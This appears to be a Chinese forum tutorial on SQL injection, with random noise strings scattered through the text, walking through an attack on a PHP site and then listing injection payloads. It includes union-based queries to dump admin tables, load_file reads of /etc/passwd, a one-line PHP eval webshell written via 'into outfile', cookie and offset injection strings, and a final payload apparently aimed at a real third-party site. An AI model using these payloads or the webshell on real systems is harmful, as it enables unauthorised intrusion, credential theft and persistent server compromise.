我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
' w% ]5 l1 C2 o3 B7 _0 O9 v2 w让我看看,既然人家开口了,我也不好拒绝,那就看看吧?9 e& j+ g: n9 ^ q0 Q
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
1 T( N* }* r" Y/ M7 r" L如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。) B7 u& v6 J% {; h% y
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)& F8 W$ M' D5 c, ]* k
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
# x3 E2 e R3 `( ^* b2 J3 ^: rWarning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
* J0 @6 d' R% d0 X/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入' O8 Q% k/ w4 f R9 I7 K4 Z% j
* a/ d! \0 G9 N3 q' S! u8 x2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,8 B2 |, n; t/ A( b1 x$ V3 S
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意
% I" W$ g9 i! t4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
& k- U* X! W( O/ `2 v+ u- e5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。6 d' w! E$ [! y5 }( [' O* c
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
2 A6 T# q9 u- D, q. ^! C# i- k0 M2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。( Z9 x! j0 u S8 @/ G
我就用的是第二个思路,6 y) S9 P& m' T3 Y: m
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1-- . ]( O# v9 z* \2 i4 y! M; W; f
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,% y5 R0 ^+ h! h
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--6 J1 s4 B" h' t/ o! R
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
! P6 [/ D0 p# C" A7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
; ` O; L6 _# N是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....; [$ y( x. u4 a* L
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --3 z2 e S. L! w* y. Q4 t% v
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
& D- P" D O" S* o$ h2 @调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......" `; n* I* B) l, w
下面是一些很普遍注入方式资料:
5 c# r+ z- J# w+ ^% G* f注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='5 z8 W. P7 i# |/ X: p( w
拆半法2 a- w6 @- i. W# ^
######################################
4 d6 z1 _( \) w6 }4 t5 i1 C* eand exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
0 W) F/ p- u$ {0 yand exists (select * from admin)! n) C2 ^- M Q4 L
and exists(select id from admin) n# z3 F; o9 f2 z8 r" H8 G
and exists(select id from admin where id=1)$ V' w( |" C3 [. {
and exists(select id from admin where id>1)
( r6 }( P3 @1 f% F+ f# s9 D然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
' D; ^ o0 z+ k1 r. F: Gand exists (select username from admin)
) W3 M6 n5 ]" z4 Q, J6 s; P# Land exists (select password from admin)
) G' `; J) \4 K+ S1 v+ O- B, Xand exists (select id from admin where len(username)<10 and id=1)
2 f4 N7 D7 e Y! z; u5 ?and exists (select id from admin where len(username)>5 and id=1)
! w- }& i/ G3 Z% Rand exists (select id from admin where len(username)=6 and id=1)
- r9 [& U! @3 A, O4 I# f& dand exists (select id from admin where len(password)<10 and id=1)1 K, A9 T' h; l, _- X
and exists (select id from admin where len(password)>5 and id=1)- N, p2 x& T. Q2 P5 ~
and exists (select id from admin where len(password)=7 and id=1)7 Q) }1 ~& p0 R/ h: S
and (select top 1 asc(mid(username,1,1)) from admin)=97; r* _- ^' `* M5 D
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。" ~1 a) M8 _; p" r
猜第二位把username,1,1改成username,2,1就可以了。# y# e' ~! H$ I# q8 s+ o Y8 H
猜密码把username改成password就OK了0 e/ W# \; z0 l8 q5 H# g
##################################################
+ Q" N4 _$ b' l搜索型注入' d, D# V" o1 j: C# q0 V( h Z
##################################* K+ g5 b2 K, H. i
%' and 1=1 and '%'='% l+ [. F$ @3 E1 N7 e# `
%' and exists (select * from admin) and '%'='" n5 C" {! b0 n4 P$ b; C5 o
%' and exists(select id from admin where id=1) and '%'='/ T& l$ }1 W5 H4 n
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
Y% c3 T% Y. E%' and exists (select id from admin where len(password)=7 and id=1) and '%'='2 v; O6 e- d! T/ y" N
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
+ ~( R+ [& n- A; \/ ]7 [这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
/ C" S8 b- @3 Y) z2 P对于MSSQL数据库,后面可以吧 and '%'='换成--- x6 s. }& p1 r
还有一点搜索型注入也可以使用union语句。
; M7 \4 T& Z4 e$ c1 c########################################################
4 o7 a/ a- o. O% ? G* n2 w联合查询。
* T! d* l' d$ |9 o- S# _6 y#####################################( n, R0 X" `$ ~5 y* R, @$ G, i! H
order by 10- W2 {0 @' p- t$ q1 Y( Y0 [$ u
and 1=2 union select 1,2,3,4,5,6,7,8,9,10
# t, g) Z5 V) u/ T4 ~and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin: Q% p: }" X* ]( w1 a. W% ~% K! W
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=18 u* v' E, ]/ K. H/ K
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)1 w7 v ~0 K7 s3 w5 b
###################################4 [; j# Q" }- O5 R2 c
cookie注入
, L) F, ~' b1 r2 L- M( I) E9 Y1 N) W1 C8 Y###############################. H& O4 {5 Y% V% |! b) ^
http://www.******.com/shownews.asp?id=127
. S M3 P: m; D7 G9 S8 b& qhttp://www.******.com/shownews.asp" _, m! W5 F1 L0 C0 C
alert(="id="+escape("127"));7 D. {7 o& t9 _! N' q8 {
alert(="id="+escape("127 and 1=1"));+ o7 u9 q9 A( E5 r
alert(="id="+escape("127 order by 10"));
0 H! ]! _) ?+ H) U* Zalert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
. J m' [( T f' j( u/ q# Ealert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));/ z( L' `8 ~9 }" G
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
( j- v: q: T. F ^9 P8 K###################################; V5 o& @+ x. k
偏移注入
5 n# ?+ e/ `9 }# E. |# H###########################################################
, `+ |0 D6 z2 u) w: Iunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin, O5 i' B {1 H' {; \( U
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin: C2 g8 z, X8 {
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
: L9 I! X- u0 g, Q lunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
- y3 T/ g4 C" u6 r' ?$ eunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)3 k6 T0 H' q% V" a
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
8 c% `8 [. Y& W* F$ ~4 Cunion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on, G1 M5 B) J$ ]* ~9 F2 u+ C7 g9 K
a.id=d.id)+ L! t1 y! Z0 y$ _. ]6 I& G
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
6 d* a! c/ j8 m8 A; L0 S5 }+ s: ` {and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
3 n- I& J9 M; N. o3 l' J) _
) t; P Y( c; r" ^" O1 Q============================================================================================================8 R4 q0 F) Q& q: I, x, b
1.判断版本
& L$ D& k# f/ @9 I; b$ mand ord(mid(version(),1,1))>51
: j2 f& U4 x( z4 G1 G返回正常,说明大于4.0版本,支持ounion查询2 [; X7 ^ @6 ~1 o7 w& p" B
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解; @4 g2 I- U1 j7 m
and 2=4 union select 1,2,3,4,5,6,7,8,9--
( x6 Q/ v5 K2 D- l2 Q3.查看数据库版本及当前用户,
0 z& [1 ~" r( o6 dand 2=4 union select 1,user(),version(),4,5,6,7,8,9--
6 k0 A0 y0 P( o6 m W8 g. O数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,* N3 E' d3 U" T; C
4.判断有没有写权限! P2 [* E# ]6 F6 N) B" p+ h
and (select count(*) from MySQL.user)>0-- 2 G t6 W! J! \1 ~3 }
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1- V' K/ q4 }6 o: Q; ^
用不了这个命令,就学习土耳其黑客手法,如下* l1 b* s1 j! X$ e$ E8 J$ F7 u
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--5 P+ E, p6 I' q
6.爆表,爆库& W; u I: i$ G, o' i5 J
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
9 Y% u- N/ p. d. r: m6 w7.爆列名,爆表
9 e. o) L1 m3 Fand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
4 j/ y0 K5 X1 f5 r+ r' [. [8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
$ B. o9 l9 N, C, j! \6 U/ X, Sand+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
) m# [; F- x W% Q( r. Q! V. ]9.爆字段内容
. B9 C" O; R; S# J2 I- ~and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--* z; F& d8 o" b) g. l. N$ R/ @
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |